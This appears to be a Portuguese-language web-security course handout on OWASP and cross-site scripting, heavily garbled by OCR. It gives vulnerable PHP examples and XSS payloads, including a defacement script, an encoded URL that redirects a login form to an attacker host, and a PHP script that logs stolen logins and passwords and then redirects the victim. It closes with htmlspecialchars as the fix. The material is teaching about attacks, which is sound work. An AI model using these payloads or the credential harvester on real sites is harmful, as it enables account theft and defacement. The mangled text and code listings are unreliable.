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1. Introducao ao OWASP

O Open Web Applicatio Security Projec{OWASP) é uma comunidade livre e aberta,
mundialmene centrada na melhoria da seguranc¢ms softwares Sua missdo é tornar a
seguranca das aplicacbes visiveis, para que as pessoas e organizacbes possam tomar
conhecimento sobre os verdanes riscos de seguranca que uma aplicagédo pode sofrer. Todos
sao livres de participar do OWASP, e todos os materiais estdo disponiveis sob uma licenca de
software livre.

O OWASP é um novo tipo de organizacdo. Sua liberdade do meio comercial permiterfornec
métodos imparciais, praticos e eficazes em termos de custos sobre a aplicagéo de seguranga. O
OWASP nao é afiliado a qualguer empresa tecnologia, apesar de apoiar a utilizacdo de
solugdes de seguranca tecnologia comercial.

De maneira resumida, o OWASEsgui como principios ser livre e aberto, ser direta e concisa,
obedecer aum codigo de ética, néo ter fins lucrativos, ndo ser impulsionada por interesses
comerciais e ter uma abordagem baseada em riscos.

Como codigo de ética 0 OWASP define como seu:

e Exeatar todas as atividades profissionais e deveres em conformidade com todas as
leis aplicaveis e 0s mais altos principios éticos;

e Promover a implementacdo e o cumprimento das normas, procedimentmsitroles
para efeitos de aplicacdo da seguranca;

e Manter aconfidencialidade adequada de propriedade ou de outra informacéo sensivel
encontradas no decurso das atividades profissionais;

e Responsabilidades profissionais com diligéncia e honestidade;

e Absterse de quaisquer atividades que possam constituir um cordli interesse ou
de outra forma prejudicar a reputacdo dos empregadores, as informacdes de
seguranca profissao, ou a Associggio

¢ Na&o intencionalmente ferir ou refutar a reputacéo profissional de pratica dos colegas,
clientes ou funcionério
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2. Introduc &0 a Seguranca da Informacao

A seguranca da informacéo é o setor tdanologiada informacéo responsavel por prover
recursos e mecanismos que visam identificar, prevenir ecsmar problemas que ameacas
possam fomecer aos ativos de uma empr&3aanto as ativos, esses consistem em qualquer
recurso que tenha valor para empresa, sejam equipamentos, ferramentas logicas (como
softwares), estrutura fisica, funcionérios e até mesmo a informagdo em si. De maneira geral, a
seguranca da informacéo é responsavet proteger os bens valorados da empresa, além de
fornecer mecanismos para contra medidas caso algum dos recursos sofra algum tipo de
ameaca ou ataque.

Para uma andlise, planejamentaneplantacidode seguranca em uma empresdilizasecomo

atributo dosativos a triade ClfConfidentiality, Integrity and Availabilityque representam a
confidencialidade, integridade e disponibilidada informacdo. A confidencialidade garante

gue uma dada informacdo s6 sera acessada pelas pessoas e meios que posslégiopriv
para tal acdo; a integridade garante que, quando uma dada informacéo for acessada, a mesma
seja real, ou seja, ndo tenha sofrido qualquer tipo de alteracdo indevida por algum meio
externo ou interno; e a disponibilidade garante que a informacaejastisponivel quando for
solicitada.

Os mecanismos de seguranca se baseiam em controles fisicos, que sao barreiras que limitam o
acesso direto a informacéo ou a infatrutura (como portas, trancas ou guardas) e controles
l6gicos, que sdo barreiras quenpedem ou limitam o acesso a informacado (geralmente
eletrénico) que, de outro modo, ficaria exposiacOpia ou alteracdo ndo autorizada por um
atacante.

Atualmente, existe uma vasta quantidade de ferramentas e sistemas que possuem como
objetivo fornecer sguranca. Alguns exemplos sdo os Antivirus @wares em geral),
Sistemas de Deteccdo e Prevencdo de Intrusdes, Firewalls, FiltreSpant] Fuzzers,
Analisadores de Codigos, etc. Entretanto, uma ma utilizacdo/configuracédo dessas ferramentas
podem n&o prger a seguranca necessaria para os ativos em questao.

Além das ferramentas citadas, a seguranca da informacao consiste em proteger os ativos de
ameacas fisicas como incéndios, desabamentl@mpagos, alagamentos, acesso indevido e
até mesmo de pessoas.
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2.1. Seguranca em Web

A Web foi ciada com o Unico objetivo de prover um meio de troca de informacdes de maneira
amigavel do que os recursos que se tinham na época. Com isto, ndo se teve qualquer (ou
pouca) énfase em seguranca, e isto se tornou um proaleara aqueles que a utilizam como
meio comercial.

Atualmente, € possivel notagjue a tendéncia éque as aplicacdes sejammigradas para
ambiente Web. Isso pelas inlmeras vantagens que essa mudanga provém, como o livre acesso
de qualquer lugar do mundo, ater-conectividade entre sistemas, a facil manutencéo (e
atualizagédoketc. Por outrolado, no disa-dia ouverase nottias e relatos que comprovam o

quéo a Internet tem se tomado um ambiente hgstibmando entdo as empresas sujeitas a
ataques alheiros @i consequentemente resulta em perda de capital e credibilidade no
mercado.

Muitas vezes a aplicacdo Web se localiza em intranet, ou seja, ndo possui um acesso direto de
um meio extemaa ela Desta forma, empresarios e desenvolvedores utilizam a nalicpgho

do sistema como argumento de impossibilidade de compramatito do sistemaPorém, em

um cenario real, tense notado crescente o0 numero de ataques internos, geralmente
praticados por funcionéarios insatisfeitos ou att mesmo através de ferramenthsiosas
(malware$ instaladas acidentalmente na rede intemi@empresa

Com o facil acesso a informacao, a Intemet tem formado diversos profissionais incapazes de
proverem seguranca nos sistemas desenvolvido e, por mais incrivel que pareca, todo o
conceto de seguranca em desenvolvimento wedderia ser resumidemuma Unica vertente

muito bem definida no livrariting Secure CoddSBN 9780735617203 |j dz&ll ifRitis &
evil until proven otherwise ou seja, toda entrada é maléfica até que se proveraantrario.

Pode ocorrer de o programador ter conhecimento dos tipos de atade@ém isso ndo € o
bastante para que o mesmo seja capaz de prover um mecanismo eficaz de protecéo. De certa
forma, ele inibiria atagues conhecidos ou até mesmo padronizddos maprogramacaade

um mecanismo de segurancga seria extremamente ineficaz em ataques planejados.

De uma maneira geral, € possieakontrar diversos mecanismos e sugestées de boas praticas
de programacado Porém, grande parte delagrocuraevitar assinattas de ataques como
caracteres especiaisu algumas caracteristicas especifidasinveés de proibir que o usuaro
forneca dados invdlidos, o ideal seria permitir que o usu&@mente fomecesse dados
validos. Isto pode parecer ambigwus®) queno universode informacBes que o usudrio pode
fornecer, entre dados validos e dados invalidos existe uma infinidade de possibilidades. Assim,
somente inibindo o usuario de fomecer um dado invalido, pode ocorrer de dados ou situacées
nao previstas serem utilizadas am ataque, o que resultaria em sucesso para um atacante.

G¢2RF SYGNIRI S YFESTAOF GS ljdS a8 LINRGSY

sdo 0s meios de interagdo com o0 usuaftom isso, otro erro ignorado por muitos
programadores é ndo validarformacdes ndo manipadas diretamente pelo usuario.
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Muitas vezes os programadores se preocupam em verificar informagfes que sao visiveis e de
facil manipulagdo do usuério, como variaveis de URL ou mesmo campos de formulérios. Porém
diversos sao os meiae efetuar um ataquecomo campo$iddende formularios, valores de
campos do tipcselectou option, dados enviados pelo método POST, dados armazenados em
cookiee até mesmo valores enviados no cabecalho HTTP da requisicao.

3. Vulnerabilidades Web

A Websem via de davidas é o meio mais facil de ingressar e ter um espaco na Internet. Além
do mais, muitas vezes nos referimos a Intemet como somente a Web, de tamanha diferenca
gue ela é difundida com relacdo aos outros mecanismos de comunicagao. Por esseataot

tem sido alvo de ataques dos mais diversos.

Como a Web tem crescido de maneira a fornecer dezenas mecanismos e ferramentas para
iteracdo com ela, diversos tem sido os tipos de vetores de ataques, 0 que torna o ambiente
2506 fAGSNIt YSydnde sam¥ite osi Gué fsedpreéocdipam com sua propria
segurancga sobreviverao.

Quando a aplicagdo Web ndo armazena nenhuma informacdo realmente valiosa ou
importante, notase a ndo importancia pela existéncia ou ndo de vulnerabilidades. Porém, é
importante sabe que ao encontrar uma vulnerabilidade Web, ela pode ser utilizada como
portdo de entrada para uma invasdo em massa e tomada total dos recursos e servicos do
servidor e possivelmaa da rede onde o mesmo hospeda que, dependendo do contrato de
vinculagdo doservico, pode responsabilizar o contratante do servico de hospedagem pelos
prejuizos acarretados.

Nos proximos capitulos, serdo descritos as principais classes de vulnerabilidades presentes na
Web, como ela sdo identificadas e exploradas por um atacardemo é possivel prevenir que
se desenvolva uma aplicacéo suscetivel a elas.

3.1. CrossSite-Script (OWASP #1)

A vulnerabilidade de CrosteScript (XSS) é umas das mais antigas e presentes desde o0s
primérdios da programacédo para Web dindmica. Apekabaixo impacto, a falha de XSS é
extremamente encontrada nos sistemas Welse sucesso na exploracdo, permite ao atacante
obter controle total da sesséo de autenticacdo do usuario vitima.

A wulnerabilidade de XSS é explorada com sucesso quando se ummsegutar cédigos
JavaScript no navegadom ditima sen o consentimento dela. Com isto, é possivel enviar
requisicdes para o servidor utilizando as credenciais de permissdo da vitima atacada. Além do
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mais, em um ataque planejado, é possivel fazer litagate 0 sedjestro de sesséao (do inglés
session hijackinggque pemite acessar o sistema cantenticagdo da vitima

De uma maneira geral, a falha de XSS ocorre quando o programador imgrimaeegadode
maneira dindmica (PHP, ASP, JSP etc) umainfoormaedpode ser manipulada pelo usuario.

/| 2Y2 aG2RIF SYGN}IRF S YIFt AyidSyuadariterbderdad S |j dzS
inserir informacdeso banco de dados ou em qualquer variavel que retorne para o usuario
(navegador) sem nenhum tipo de filtrde seguranca. Desta forma, ao inserir caracteres
especiais, 0 atacante consegue fazer com que o navegador interprete a informacéo fornecida

como codigo Javascript, executando assim operac¢des no navegador da vitima.

Com a massificacdo do XSS, idéias faamindo. Dentre elas, a criacdo de wOrms em XSS foi

sem davida a mais fantasticBente os destaques estacofusR 2  h Njuedin éneado de

2007, através da uma falha de XSS do Qrkagia com que o usudrio atacadagressena

O2YdzyA RF RS d 12y F+SIONDRaR2R2 LISN] dzié S Sy @al aasS 2 O
amigos. Ja de se esperar, a comunidade rapidamente chegou a meio milhdo de membros, o

gue fez com que elafosse a comunidade recordista da época.

3.1.1 Primeiro Exemplo z Retorno de Variaveis

Como dito, a falha de CroS#te-Scripting existe quando o programador repassar para o
navegador sem qualquer filtragem e tratamento adequado uma informacdo que pode ser
manipulada pelo usuario. Desta forma o usuario pode inserir codiligrs-side (JavaSript,
EMACScript, VBScript etc) que seja executados no navegador.

Um exemplo para demonstrar a ocorréncia da falha pode ser visto no c4digo abaixo:

<?php

E) include "inc/busca.php";

10

11 if (isset(5_GET['busca']))

12 {

13 $txtBusca = §_CGET['busca'];
14

15 eche "Resultades para <b>" . $txtBusca . "</b><br />";
18 echo "<hr />";

17

18 efetuaBusca ($txtBusca)

19 1

20 >

No cdodigo acima, € possivel notar que o desenvolvegipassa para o navegador o valor da
variavelbuscaenviada pelo usuario através do método GHM exemplo de formulario de
pesquisajue interaja com o codigo acima pode ser visto abaixo:
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<html>
<head>
<title>Formularic de Pesquisa</title>
</head>

<body>
"get™ "x535_exemplcl.php”
Buscar: "text" "busca™ <br />
"submit” "Buscar™

[ I T R S SR N

[
[l =TT=]

</body>
</html>

[y
ra

Uma caixa de texto fomece o valor da varidmgscaao cédigo PHP, porém esse valor podera
ter vindo de diversos lygares como campdsdden cookie diretamente da URL etc.

O formulario HTML tem seu funcionamento perfeito para usuarios comuns € sem MAas
intengbes. Porém em um ambiente real sempre devemos nos prever de usuarios mal
intencionados e levar em consideracaseceles possuem conhecimento para efetuar o ataque

e que vao fazéo.

Para um melhor entendimento do funcionamento da falha, veja como ficaria o codigo gerado
pelo script PHP para a busktaques Web

(<) Cadigo-fonte: http://localhost/AtaquesWeb/xss_exemplo1.php?busca=Ataques+Web - Mozilla Firefox g@
Arquive  Editar Exbir  Ajuda

Resultados para <b>Ltagues Web</b><br /><hr /><h3>Nenhum resultado encontrado</h3>

Como de se esperar, o cédigo faz o que promete. Ppséneolocarmos caracteres especiais e
gue possa ser executados pelo navegador, 0 mesmo o fard e entdo conseguiremos ter sucesso
em como um vetor de ataque.

Veja como ficaia se colocdssemos 0 seguinte val@fipt>alert(Vulneravel a
XSS)</script> no canpo de pesquisa:

@ cédigo-fonte: http://localhost/AtaquesWeb/xss_exemplo1.php?busca=%3Cscript¥%3Ealert%28%27Vulneravel-... |~ |[0/E3
Arquive  Editar Exbir  Ajuda

Resultados para <b><scriptralert('Vulneravel a X55')</script></b><br /><hr /><h3>Nenhum
resultado encontrado</h3>

Como de se esperar, o script PHP simplesmente repassaloodigitado para a pagina. Desta
forma, como inserimos codigos Javascript, 0 navegador exeag@omo segue:
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@

Arquivo  Editar Exibir Histdrico Fayoritos Ferramentas Ajuda &

@ - c x ot [ I_] htip:/flocalhost/ataguesieb/xss_exemplol.php?busca=<script: 7.7 ~ ' )- 1 é v
@ Disable - /& Cookies ~ [ €55 + -] Forms = [M] Images - @ Information Miscellaneous ~ o Outline =~ 2: Resize ~ .~ Tools ~ L;] View
Resultados para

P A pagina http://localhost diz:

1 Vulneravel a X55
.

Recebendo dados de localhost.. P @ a

O exemplo de vulnerabilidade de XSS demonstrado ndo possuiegrahdnces de sucesso.

Isto porque as informagfes que sdo enviadas para serem exploradas sédo fornecidas no mesmo
momento da requisicao, ou seja, é necessario enviar a requisi¢ado para o servidor com os dados
gue efetuam o ataque para logo depois ter a expfdo bem sucedid®ara isto, € necessario
utilizar técnicas de Engenharia Social. A Engenharia Social consiste em bolar um meio de
literalmente enganar a vitima a fim de indi&@ia cooperar com o processo de exploracdo. O
mais comum seria enviar ummadl contendo alguma informacdo de interesse da vitima e,
com isto, obter um mecanismo de fazer com que ela acesse um endere¢o como 0 que segue:

[http://localhost/AtaguesWeb/xss _exemplol.php?buseasript>alert('Vulneravel+a+XSS') </script>

Ao acessar o endege, o cddigo Javascript sera executado assim como ocorrido anteriormente

em que utilizamos o formulario de pesquisa. Porém, enviando o endereco citado acima, um

usuario que tenha o minimo de preocupacdo com seguranca facilmente notaria que se trata de
umatentativa de ataque (sem mais detalhes). Para evitar esse tipo de desfeche, um atacante

tenta ao maximo esconder o que poderia ser um ataque. Desta forma, a vitima ficaria insegura

jdz: yi2 t LR&&aAOAEARFRS RS &SN dMALFA®I Hz8 SHSY KR

A

2yRS 2 [ GFOIydS GOl YdZFEF NN € Fa FaaAayl Gddz2N> a R2

http://localhost/AtaquesWeb/xss_exemplol.php?bus®a3c%73%63%72%69 %70%74%3e %61 %6d%65
%72%74%28%27 %56%75%6 c%6e%65 %7 2%61%76%65 %66 ¢ %20%6 1 %2 0 %5 2%hIPBIBEY02f %
73%63%72%69%70%74%3e

No padrao da Web, quando se deseja enviar um caractere especial no cabecgalho HTTP, para o
parser do servidor ndo ter problemas, foi definido como padrdo aplicadexEncodeO
HexEncodgou URLENcoge consiste em pegar cadum desses caracteres que poderiam
causarproblemas ao servidor na hora de interpretar e substiisi pelo seu respectivo valor
hexadecimal precedido do simbolo de porcentagem.

Para facilitar o trabalho, foi escrito um cédigo Javascript em uma paginaaaglera o
processo de codificagdo de uma entrada. Se for fornecido como entrada para esta pagina o
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cédigo que foi utilizado no ataque a mesma retornara o texto codificado utilizado no exemplo
anterior. Veja o resultado da execuc¢éao do codificador:

& Text Encoder - Escrito por Maycon Maia Vitali - Mozilla Firefox g@
Arquivo  Editar Exbir Histdrico Favoritos  Ferramentas  Ajuda
6 - a2t | [ | httpi/focalhost/Ataquesweb/textencode. himl 77 - IGl- Joliy —-3

<gcriptralertc ('Vulneravel a X55'")«</script>||23c: 7336332 72269270274%32%61%6CcE65272274228
£2T7%56%T5%60%600%365%72%61%76%65%60%20%61%520
£58%53%53%2T7%2933c32f%73%63372369%70%74%3e

Concluido & & a

O c6dgo do codificador pode ser visto na figura abaixo:

1  <html>

2 <head>

3 <title>Text Encoder - Escrito por Maycon Meis Vitali</title>

4 </head>

5

& <body>

7 nagn "ig" "txtEntrada™

-1 man” "lo™ "true” "txtiaida"” <br />
9 "button” "btnEncode ™ "Codificar” <br />
10

11 <gcript language="Javascript">

12 ¢ = function (id) { return document.getElementById(id): }
13

14 % {"btnEncode™) .onclick = Function()

15 {

16 strEntrada = &{'txtEntrada').value;

17 £ ("txtSaida™).value = "";

18

15 for (1 = 0; 1 < strEntrada.length; i++)

20 {

21 intHexhscii = strEntrada.charCodelt(i).tol3tring(16);
22 s{"txtSaida") .value += '$' + intHexRhaciiy

23 1

24 }

25 <fscript>

26 </body>

27 </html>

Como dito, o codificador simplesmente substitui cada caractere por seu respectivo valor ASCii
(em hexadecimal) precedido do simbolo de porcentagem (linhas 21 e 22).

Existem dezenas de métodos onde podesneaplorar a falha de CreSiteScripting.Uma das
grandes vantagens em sua exploracéo, é que as vulnerabilidades de XS gdataform.,

ou seja, por ela serem explorada por codigos de inteclient-side elas sao independente de
plataforma. Entréanto, teoricamente, as falhas de XSS se limitam ao ambiente Web, com isto
nao é possivel gravar ou instalar programas no disco da maquina da vitima. Entretanto, isto é
verdade somente quando se deseja wddigoque infecte multiplagplataformas, ja que em
alguns navegadores comolaternet Exploreexistem recursos que nos permite ler e gravar
dados no HD da vitima.
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3.1.2 Segundo Exemplo z Recuperacao de Dados

Dos diversos locais aonde se pode encontrar uma vulnerabilidade de XSS, os que mais
interessam ostacantes séo falhas que buscam informagdes de um meio de armazenamento.
Na falha descrita, a informagédo que é repassada para o navegador vem diretamente do
navegador, 0 que cria a necessidade da cooperagcdo da vitima para 0 sucesso no ataque.
Entretanto, algumas falhas de XSS surgem quando os dados fornecidos por um usuaro
(atacante) sdo gravados em um meio de armazenamento (banco de dados, arquivo etc.) e ao

ser impresso n&o passar por qualquer tipo de filtro

Um exemplo bem completo de como esse tipofaéa pode ocorrer pode ser visto na figura
abaixo:

<?php
include "inc/cadastro.php”;
if (isset(s_FO3ST['op']) &z (5_POST['op'] == 'cedastrar'))
{
cadastraContato (5_POST['txtHome'], $_POST['txtMail'], &_POST['txtFone']):

!

[ I T R S SR N

sarrlistaContatos = buscaContatos();

'}

s
<html>
<head>
<titlexAgenda de Contatos</title>
< /head>

e
[T R i R

<body>
<h2 align="center">{adastrar Novo Contato</hi>
"poat" "x35_exemploZ.php” "cadastrar™
"hidden" "op" "cadastrar”
Home: "text"” "txtMome"™
Email: "text" "txtMail™
Telefone: "text" "txtFone"
"submitc" "Cadastrar"

B3 M3 ORI ORI R ORI ORI R R
[T SO T R R P S
Ao A
of oo
moRy
Cm -
o
|
=}

ign="center">»Lista de Contatos</hi>
border="1" width="100%">

(SR SR
w3
M
t
i
5

M

¥

o

<th>Nome</th>

<th>Email</

<th>Telefone</th>
<ftr>

<?php foreach ($arrlistaContatos a3 sinfoContato) @ 7>

L L L8 Ld LS L
LT T R =

s$infoContato['nome'] ?></cCd>

L
=2

finfoContato['mail'] ?%<
s$infolfontato["fone'] #></Cd>

M= LS LS L
(= T |

s
=

4z </html>

O codigo acima consiste em uma simples agenda de contatos com uma area de cadastro e uma
listagem. Todo o processamento de busca e gravacado é feito nas furagdestraContato

(linha 5) ebuscaContatoqlinha 8). Isto foi feito propositalmente para abstrair o meio de
armazenamento. Porém, para um melhor acompanhamento do curso segue o codigo de
ambas as fungdes:
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1 <?php

2 define ("ARQUIVQ_CONTATIOS™, "contatos.tHL");:
3

4 function cedastraContato($strlome, #strMail, $strFone)
3 {

[ sptrArquivo = fopen(ARQUIVO_CONTATOS, 'a'):
7 fputs (sptrirquivao,

8 #3trNome . "“r\n" .

9 gztrMail . "\r\n" .

10 #atrFone . "\.r\n"

11 |H

12 fclose (sptrhrquive)

13 }

14

15 functicn buscaContatos()

16 {

17 sarrListalontatos = array():

18

19 sptrirquivo = fopen(ARQUIVO_CONTATOS, 'r'):
20 if (#ptrirquivo == NULL)

21 {

22 return NULL;

23 }

24

25 while (!fecf{sptriArquiva))

26 {

27 sarrlistaContatos[] = array (

28 2" =» fgets(sptriArquivao),

29 " =3 fgets(sfptrArquivc),

30 " =» Igets(sptrirquiveo)

31 i

3z 1

33 fclose (sptrirquive);

34

35 return sarrlistaContatos;

EL }

37 >

Toda entrada € mal intencionada até que se provem ao contrario. O foco da vulnerabilidade
esté no fato de o script gravar os dados fornecidos pelo usuario e em seguida 0s repassar sem
nenhum tipo de filtro. Com istaym atacante pode simplesmente injetar o codigo Javascript
em qualquer um dos campos e esperar que algum outro usuario acessesraan@Eagina
executando, assim, o cédigo Javascript inserido. Veja:

& Agenda de Contatos - Mozilla Firefox =Jo&d
Arquivo  Editar Exibir Histdrico Favoritos Ferramentas  Ajuda
@ - c (ot I |_1'] htip: /flocalhost/AtagquesiVeb xss_exemploZ. php F T T ).' '-_3

Cadastrar Novo Contato

Nome: Bil Email | bill@microsoftcom Telefone: | <script>aler('attack’)</s

Lista de Contatos

| Nome | Email | Telefone

|3-Ia}’c on Maia Vitali |ma}'c onmaia@yahoo.com.br |98 01-5603

Concluido & & @
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No exemplo, foi inseridao campo telefone o codigo sctript-alert(‘attack’)<bcript> que sera

gravado como um registro e, em qualquer acesso a pagina, repassado para o usuario (vitima),
tendo sucesso no ataque.

BN

Repare que a qualquer acesso que fizer & pagina o resultado ser4d sempre o mesmo, a
mensagem que foi inserida pelo atacante. Veja:

@ X
Arquivo  Editar Exibir Histdrico Favoritos Ferramentas Ajuda i
6 T c x far | |_L] http:/flocalhost/Ataquesiebxss_exemplo2.php iR . )" % v
Cadastrar Novo Contato
Nome: Email- Tal=fouma:
A pégina http:/localhost diz:
attack

]

| Nome

| Telefone
|:\-Ia}'c on Maia Vitali |ma}'c onmaia@yahoo.com. br |98 01-5603

|Bi]l |bi]l@microsoﬂ_c om

Recebendo dados de localhost...

Repare que para demonstrar o sucesso na execucdo do Javascript, foi solicitado que o mesmo
exiba umamensagem. Entretanto, em um ataque real, dificimente o usuario suspeitara do
atacante, ja que o ataque procurafazer as requisicdes e acdes de maneira escondida.

Uma acdo comum para um atacante seria alterar informacfes da prépria pagina. Se 0 mesmo

tiver o propadsito de fazer uma pichacédo na pagiefécing, ele poderia simplesmente injetar
0 seguinte codigo:

<script>

document.body.innerHTML = "<h1 align="center'>Hddk OutOfBound</h1>";
</script>

Desta forma o impacto comercial para a vitima sarlculavel, j4 que o resultado serd o
visto na seguinte figura:

& Agenda de Contatos - Mozilla Firefox (=)
Arquivo  Editar Exbir Histdrico Favoritos  Ferramentas  Ajuda
- c fot |: |_L] http:/flocalhost/AtaquesiWebxss_exemplo2.php e ' )-' ‘ —3 -
H4ck3d by Out0fBound
Condluido | & a
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3.2.3 Terceiro Exemplo z Altera ¢cdo de Informacfes da Pagina

Outro tipo de exploracdo a XSS ocorre quandosuario altera informacgfes criteriosas da
pagina em questdocomo valores, texto®u até mesmo enderecos de links e destinos de
formularios.

Ja tive sucesso na exploracdo de XSS em um caso onde alterei o destino para onde o
formulério de acesso enviava os dados. Com isto, fiz um cdédigo externo que capturava os
dados enviados pelo formatio, gravavas em um lugar e em seguida retornava para a tela de
erro comum Para demonstrar este caso que foi citado vamos analisar o seguinte codigo:

1 <html>

2 <head>

3 <title>Tela de Acesso</titlex

4 </ head>

5

[ <body>

7 < PPl

5] if (isset(s_GET['msg'])})

g

10 $strMsgErrc = $_GET['msg'];

11 1

12 else

13 {

14 zatrMagErro =

15 1

16 =

17 <hd4»<?= gatrMagErro ?></hi>

18 "x33_exemplo3_act.php” "post™
19 Loginm: "text" "titlogin® <kbr />
20 Senha: "password"™ "txtPass" <br />
21 "gubmit"” "Enviar"™

22

23 </body>

24

25 </html>

Repare que na linha 17 é impresso um valor fornecido pelo método-BETPdesta forma
visivel na UR Podemos tirar proveito disto montando uma URL cujo endereco seja algo como:

KGGLIWYkkf 20t K2aGk! G+ ljdzSa2 SokEaaPSESYLI 20 dUAKLIKYEAITF & O
YQO wn8dl OGA2YTrQKGGLIYkKke 66D GO Ol SNEAGSPO2YKLISIF 8SyKL

Ou ainda utilizao mecanismo de camuflagem j& visto, deixando a URL mais ilegivel:

http://localhost/AtaquesWeb/xss_exemplo3.php?msg=%3c%73%63%72%69 %70%74%3e%64%6f%63%
75%6d%65%6€%74%2 %67 %65%7 4 %45%6c%65%6d%65%6€%74%73%42%79%54%61%6 7904 €%61%6d
%65%28%2018%66%6%72%6d%2019%BAG%5d%2 e%66 1%63%7 4%69%6f%6e%3d%2019%68%74
%74%70%3a%2f%21%77%77%77%2 e%61%74%74%61%6 3%6b %65%72%7 3%69%7 4%65%2 %6 3%6{%6
d%2%70%65%67%61%7 3%665%6 €%68%61%2 e%70%68%70%2019%3b%3c%2f%73%63%724669%70%7
4%3e

Ambas as URL iréo ter o mesmo efeito para o servidor, posrm@usuario a primeira URL
apresenta maiores chances de ser um ataque.
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No exemplo citado, o servidavww.attackersite.comé controlado pelo atacante e o script
pegasenha.phmsimplesmente armazena as senhas fornecidas pelo e redireciqgrera o
servidor original novamente informando uma mensagem de erro qualquer. Ao tentar
novamente acessar o sistema, 0 usuaro conseguira logar com sucesso, passando despercebido
pelo ataque.

Um exemplo simples de script que poderia ser utilizado pelo atacante para aalganhas e
redirecionar ao servidor original pode ser visto abaixo:

1 <?php

2 if (issec(%_POST['txtlogin']) &z isset(s_POST['tutPFass']))

3 {

4 fptrArquive = fopen ("senhas.txt", "a");

5 if ($ptrirquivo)

6 {

7 fputs ($ptrhrquivo, "Login: " . §_POST['txtLogin'] . " Senha: " . §_POST['txtPass']);
g frlose (Sptrirquivo) ;

9 }

10 1

11

12 @Bheader ("Location: http://localhost/RtagquesWek/xas_sxemplold.phpmsg=Usuaric/senha%20invalidaos!™);
13 kg

Repare que na linha 12 o codigo redireciona para a pagina de erro, induzindo o usuério a
pensar que digitou errado o login ou a senha. Quando o usuario digitar novamente tera
acessado ormalmente o sistema.

Quando um atacante deseja explorar uma falha de CSussScript, ele precisa saber o
contexto onde ele consegue injetar o cédigo Javascript. Isto significa que, por mais que ele
encontre uma falha de XSS em uma péagina, a exploragiico as vistas até agora
simplesmente podem néo surtir efeito.

3.1.4 Quarto Exemplo z Mudanca de Escopo

Como dito no inicio, a falha de Cre&ige-Scripting ocorre pelo simples fato de o programador
nao filtrar os dados que podem ser manipulados pelo usudntes de reenvidos para o
navegadorindependente de onde estiver no codigo, é possivel explorar uma falha de XSS.

O mais comum de se encontrar sao parametros passados pela URL que sdo repassados para
alimentar informacdes na pagin&ge tivermosum pedido de cédigo 1234, para qualquer
operacéo a ser feita nesse pedido deve ter como referéncia o cddigo do pedido 1234. Um
exemplo desse tipo de falha esta no trecho de cédigo abaixo:

1 <?php

2 if (lisset (s GET['pedida']))

3 {

4 die ("Informe o codigo do pedido!"):
E i

[

7

g

#intCodigoPedido = & _GET['pedido']:
s
8  <h3>0peracgdes do Pedido</h3>
10 <hr />
11 <a href="reenviar.php?pedido=<?= #intCodigoPedido ?>":>Reenviar</a><br />
12 <& href="canelar.php?pedido=<?= fintlodigoPedido ?>">Cancelar</a><br />
13 <hr />
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Reparem que a variavebedido é repassada para a pagina sem nenhum tige filtro.
Entretanto, se tentarmos inserir um codigo Javascript como 0s vistos até ,agarasmo nao
surtira efeito algum ja queestamos no contexto da tag HTMBE> maisprecisamente no
atributo href. Para se ter sucesso em uma exploracdo de XSS,eSsaeio antes sair do
contexto da tag atual voltando para o contexto da pagina e, em seguida, retornar para o
contexto da tag, de maneira a deixar imperceptivel a tentativa de ataque.

Analisando mais cautelosamente, notamos que paratsatag atual, preisamos fechar as
aspas eemsegquideS OKI NJ 2 aNYdR Q2 REIPYIALBEMI L2 RSY2a Ay
Javascript.

E possivel notar que desta forma seria notavel que alguma coisa esta estranha, ja que
d&20NI NI Y & &Ll a H5dz5% napddipkisraas @iSmpessdsiaz NJ
pagina. Para que isto ndo ocorra, € necessaro criar algum artificio que utilizecassteres

e 0S mesmo n&o seja impresso. Este ponto vai da criatividade de cada um, uma solugéo seria o
seguinte:

http://localhost/AtaquesWeb/xss_exemplo4.php?pedido="><script>alert(‘attack’)</script><xss+"

Com istgo script serd executado e ndo afetard o leiaute da pagina.

Para se proteger de ataques de XSS, basta levar em consideracédo a frase dita em diversas parte

R2 R2O0dzYSYyZWIRE2BlF Y AydSyOAz2ylFRI FdS [jdzS &
este paradigma de programacdo seria razoavelmente simples e util se proteger ndo s6 dos
ataques de CrosSite-Scripting, como de praticamente qualquer ataque Web ouwéab.

Como a vulnebilidade de XSS consiste em inserir codigos Javascript na pagina, uma
altemativa seria impedir a inser¢cdo de caracteres que possam inferir na execugdo do script
como os caracteres < eV¥eja um exemplo de codigo abaixo:

<?php
gatrUsuario = §_GET['usuaric'];

if (stratr({$strUsuaric, "<") || strstr(fstrlUsuaric, ">"))
I
{

i
echo #strEntrada;
>
Usuéric: "LexXt” "usuaric™ "g?= gatrUsuaric "

1
2
3
4
5
[ die ("Tentativa de atague de Cross-3ite-3cripting.”™):
7
]
9
a

=

Como em uma politica dérewall, tentar bloquear o que ndo se deseja ndo € uma boa
altemativa, poisas vezes é difil (ou impossivelprever todo tipo de dado que pode
representar um ataque. Portanto, como uma politica de firewall, o ideal seria pemitir
somente entradas validas.

Umexemplo que buraria esse filtro simples seria a inser¢éo do seguinte dado a URL:

http://localhost/AtaquesWeb/xss_safe0l.php?usuario=" onmouseover="javascript:alert('XSS")

Curso de Extensao Tecnologica de Seguranca em Web Paginal?



Ao carregar a pagina, a falha néo seria carregada. Porém, ao passar 0 mousecsokaeda
texto, o resultado seria como a seguinte imagem:

3.1.5 Solugéo

Em vez de procurar prover uma protecdo contra os ataques de -SresScripting, o ideal
seria torndos sem efeito. 1sso porque muitas vezes € necess&iimserir os caracteres
maiorque e menofque em uma mensagem ou em ucampo deformulario. Além do mais,
ndo seria muito legal fornecer ao usudrio inocentta mensagem de tentativa de ataque
caso ele tente colocar os caracteres de emotionou de uma setinha come. Para umaeal
solugdo que agrade a todos, o préprio HTML nos fornece uma solucao.

Diversos caracteres possueoutras representagdes que indicam que 0s mesmo deve ser
renderizados no navegadao invés de passar para interpretacdo. Como toda a internet
(TCP/IP), istndo foi feito pensando em segurancga, mas sim na diferenca de codificacéo entre
as diversas regides e navegadores. Alguns utilizam por padra®8580 outros utiliza UTF

8 como padrao, o que causa um grande problema caso tentem ser interpretados.

No @so da linguagem PHP, uma funcéo chantadaspecialchars(pode ser utilizada para
substituir os caracteres que sao interpretador como HTML para suas representacdes reais a
serem impressas no navegador. Esta funcdo possui a seguinte sintaxe:

stringhtmlispecialcharg string$string [, int $quote_style [, string$charset ]])

O primeiro parametro consiste na entrada fornecida pelo usuario. O segundo parametro
(opcional) é utilizado para o PHP saber o que fazer com as-sisgass e aspadupla. O
terceiro parametro (opcional). O terceiro parametro é utilizado para identificar o conjunto de
